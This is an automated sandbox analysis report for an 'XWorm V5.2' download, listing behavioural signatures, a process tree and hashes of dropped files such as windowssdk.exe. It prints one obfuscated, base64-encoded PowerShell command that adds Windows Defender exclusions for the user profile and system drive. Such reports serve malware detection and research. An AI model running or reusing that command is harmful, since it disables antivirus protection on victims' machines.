Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/06/2024, 18:34

General

  • Target
    negro.log
  • Size 615B
  • Sample240607-w7tababh6x
  • SHA256 6a9e88310fa30efcdae78d716b2fa02f0ea7d77746945269f0e073b0d73264c6
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\NOTEPAD.EXE
    C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\negro.log
    1⤵
    • Opens file in notepad (likely ransom note)
    PID:704
  • C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe"
      2⤵
      • Checks processor information in registry
      • Modifies registry class
      • NTFS ADS
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Program Files\Mozilla Firefox\firefox.exe
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.0.1831891898\1451045250" -parentBuildID 20230214051806 -prefsHandle 1772 -prefMapHandle 1764 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1fe462d-b927-491e-8287-863bbbf8f49d} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 1852 1f6a8bc5458 gpu
        3⤵
          PID:3308
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.1.995429088\975082832" -parentBuildID 20230214051806 -prefsHandle 2408 -prefMapHandle 2396 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22861f4a-ba2f-44ff-8887-3d66a05f5b6d} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 2420 1f69bd89958 socket
          3⤵
            PID:4268
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.2.204371631\179163520" -childID 1 -isForBrowser -prefsHandle 2976 -prefMapHandle 2972 -prefsLen 22150 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d91a12e0-bff5-49cd-83b0-64d81671abf4} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 2988 1f6ab2e4558 tab
            3⤵
              PID:676
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.3.1447678055\1314797876" -childID 2 -isForBrowser -prefsHandle 4272 -prefMapHandle 4212 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {69c9dc05-190f-49f6-b27d-72b54dd1e144} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 4256 1f6adcefe58 tab
              3⤵
                PID:4660
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.4.254973126\1413294662" -childID 3 -isForBrowser -prefsHandle 5132 -prefMapHandle 5128 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7ff975f-c68d-4fbd-9daf-e522c08ea4d7} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5140 1f6afd76358 tab
                3⤵
                  PID:4716
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.5.429329231\647358866" -childID 4 -isForBrowser -prefsHandle 5316 -prefMapHandle 5264 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac5aae1c-6089-4efe-83c2-522da67181eb} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5300 1f6afd76f58 tab
                  3⤵
                    PID:1008
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.6.726803390\1422578134" -childID 5 -isForBrowser -prefsHandle 5480 -prefMapHandle 5488 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28715051-b908-4ca7-88c9-df9c1404b26c} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5472 1f6afd75458 tab
                    3⤵
                      PID:2900
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.7.1991227929\1372859426" -childID 6 -isForBrowser -prefsHandle 5780 -prefMapHandle 5772 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {43b291e0-70d1-4386-9c49-78ba7c3c2bb2} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5788 1f6b163e458 tab
                      3⤵
                        PID:1236
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.8.1160918214\499711552" -childID 7 -isForBrowser -prefsHandle 9904 -prefMapHandle 9908 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dca6ddb5-62ba-41c4-93f7-1757736ac9ed} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9916 1f6af60bf58 tab
                        3⤵
                          PID:1340
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.9.1228571532\1846282887" -childID 8 -isForBrowser -prefsHandle 9560 -prefMapHandle 9572 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8db785e5-dc6e-4ec1-92ed-165028b01541} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9584 1f6b014b258 tab
                          3⤵
                            PID:536
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.10.581811404\873775835" -childID 9 -isForBrowser -prefsHandle 9412 -prefMapHandle 9416 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f69e7305-4bad-4492-baf7-85f4677b9700} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9636 1f6b1359d58 tab
                            3⤵
                              PID:3288
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.11.1504678562\1411194600" -childID 10 -isForBrowser -prefsHandle 9268 -prefMapHandle 9264 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37984b98-081d-45c9-8185-51ff3b73acad} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9276 1f6b1404a58 tab
                              3⤵
                                PID:3568
                          • C:\Windows\System32\rundll32.exe
                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                            1⤵
                              PID:2684
                            • C:\Program Files\7-Zip\7zG.exe
                              "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\XWorm_V5.2\" -spe -an -ai#7zMap8501:82:7zEvent4683
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              PID:2368
                            • C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe
                              "C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe"
                              1⤵
                              • Executes dropped EXE
                              PID:5848
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAbAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAeABmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAdQBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHAAYQB4ACMAPgA="
                                2⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:5924
                              • C:\Windows\windowssdk.exe
                                "C:\Windows\windowssdk.exe"
                                2⤵
                                  PID:5980

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    activity-stream.discovery_stream.json.tmp

                                    • Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\ntkangc5.default-release\activity-stream.discovery_stream.json.tmp
                                    • Size 27KB
                                    • SHA256 2abb3ab864100dccb31f68ce95675e75ecad85528731d1c21ab73dc07b1bbc5a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    prefs-1.js

                                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\prefs-1.js
                                    • Size 7KB
                                    • SHA256 4ff4500b3082d60d3df6296f9c3ef1cf40ef9843b37db454d136c08eecb72d96
                                    • MD5 SHA1 SHA512 SSDEEP

                                    recovery.jsonlz4

                                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
                                    • Size 5KB
                                    • SHA256 f86e52518fed7803a5d6df68515158173192f92835f7b4371af72383e6acbcd9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    recovery.jsonlz4

                                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
                                    • Size 6KB
                                    • SHA256 b323772e2f7a2b33f2d9355742712abeb220e24be74ac45468dcabc929b4d363
                                    • MD5 SHA1 SHA512 SSDEEP

                                    recovery.jsonlz4

                                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
                                    • Size 6KB
                                    • SHA256 995c6db5cd98abcd04c6c022c4f313e5da4cde376674f7fd07c8ba196421c542
                                    • MD5 SHA1 SHA512 SSDEEP

                                    recovery.jsonlz4

                                    • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
                                    • Size 1KB
                                    • SHA256 cee4c28edbe886e68446231c90080485e8d3f6776bab915298d172b6da2fbbd3
                                    • MD5 SHA1 SHA512

                                    XWorm_V5.2.zip

                                    • Path C:\Users\Admin\Downloads\XWorm_V5.2.zip
                                    • Size 37.6MB
                                    • SHA256 d32f12b525ee503bfbc0142b601ef74b8af84736270e145e936761228ca5b2f4
                                    • MD5 SHA1 SHA512 SSDEEP

                                    icon (15).ico

                                    • Path C:\Users\Admin\Downloads\XWorm_V5.2\Icons\icon (15).ico
                                    • Size 361KB
                                    • SHA256 b2f57a23ecc789c1bbf6037ac0825bf98babc7bf0c5d438af5e2767a27a79188
                                    • MD5 SHA1 SHA512 SSDEEP

                                    XWorm V5.2.exe

                                    • Path C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe
                                    • Size 1.9MB
                                    • SHA256 9236ad5a93e8d7d53e154d41a00f7b128967e8262a1c509a154a9fbcf2ca15ad
                                    • MD5 SHA1 SHA512 SSDEEP

                                    XWorm_V5.vUTGk8qo.2.zip.part

                                    • Path C:\Users\Admin\Downloads\XWorm_V5.vUTGk8qo.2.zip.part
                                    • Size 7KB
                                    • SHA256 8480072c7262c8d2360d44931c599c3f9ebb656ea17910e139430ddb43f6b380
                                    • MD5 SHA1 SHA512 SSDEEP

                                    windowssdk.exe

                                    • Path C:\Windows\windowssdk.exe
                                    • Size 275KB
                                    • SHA256 e690896dfb04b28022adda322c7d4b698f97f46b0640fec363d953d4e9091f57
                                    • MD5 SHA1 SHA512 SSDEEP